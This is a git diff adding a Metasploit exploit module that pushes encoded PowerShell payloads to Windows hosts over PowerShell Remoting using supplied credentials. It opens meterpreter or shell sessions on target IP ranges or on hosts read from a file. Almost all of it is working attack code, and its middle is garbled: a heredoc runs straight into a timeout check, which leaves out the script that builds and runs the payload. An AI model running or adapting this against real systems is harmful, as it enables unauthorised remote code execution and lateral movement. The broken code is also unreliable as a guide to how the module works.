diff --git a/modules/exploits/windows/local/powershell_remoting.rb b/modules/exploits/windows/local/powershell_remoting.rb new file mode 100644 index 0000000000..f320fe4242 --- /dev/null +++ b/modules/exploits/windows/local/powershell_remoting.rb @@ -0,0 +1,153 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::Powershell + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Powershell Remoting Remote Command Execution', + 'Description' => %q{ + Uses Powershell Remoting (TCP 47001) to inject payloads on target machines. + If RHOSTS are specified it will try to resolve the IPs to hostnames, otherwise + use a HOSTFILE to supply a list of known hostnames. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Ben Campbell' ], + 'References' => + [ + [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default) + [ 'OSVDB', '3106'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'DisclosureDate' => 'Jan 01 1999', + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter', 'shell' ], + 'Targets' => + [ + [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ] + ], + 'DefaultTarget' => 0 + )) + + register_options([ + OptString.new('SMBUser', [ false, 'The username to authenticate as' ]), + OptString.new('SMBPass', [ false, 'The password for the specified username' ]), + OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication' ]), + OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]), + OptPath.new('HOSTFILE', [ false, 'Line separated file with hostnames to target' ]), + # Move this out of advanced + OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), + OptBool.new("ExitOnSession", [ true, "Return from the exploit after a session has been created", false ]) + ]) + + register_advanced_options( + [ + OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 60]) + ], self.class) + end + + def exploit + if !datastore['ExitOnSession'] && !job_id + fail_with(Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)") + end + + unless datastore['RHOSTS'] || datastore['HOSTFILE'] + fail_with(Failure::BadConfig, "Need RHOSTS or HOSTFILE specified.") + end + + if datastore['SMBUser'] && datastore['SMBPass'].nil? + fail_with(Failure::BadConfig, "Need both username and password set.") + end + + if datastore['RHOSTS'] + ip_list = "$iplist=" + Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |ip| + ip_list << "'#{ip}'," + end + + # Remove trailing comma... + ip_list = ip_list[0..-2] + ip_list << ";" + end + + known_hosts = "" + if datastore['HOSTFILE'] + ::File.open(datastore['HOSTFILE'], "rb").each_line do |hostname| + hostname.strip! + known_hosts << "'#{hostname}'," unless hostname.blank? + end + known_hosts = known_hosts[0..-2] + end + + command = cmd_psh_payload(payload.encoded, + payload_instance.arch.first, + encode_final_payload: true, + remove_comspec: true) + + ps = < 0 && (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) + + Rex.sleep(1) + end + end + + def generate_credentials(domain = datastore['SMBDomain'], user = datastore['SMBUser'], pass = datastore['SMBPass']) + creds = "" + + unless user.nil? + creds = "$pass=ConvertTo-SecureString -string '#{pass}' -asPlainText -force;"\ + "$creds=new-object -typename System.Management.Automation.PSCredential -argumentlist " + if domain.nil? + creds << "'#{user}'" + else + creds << "'#{domain}\\#{user}'" + end + + creds << ",$pass;" + end + + creds + end +end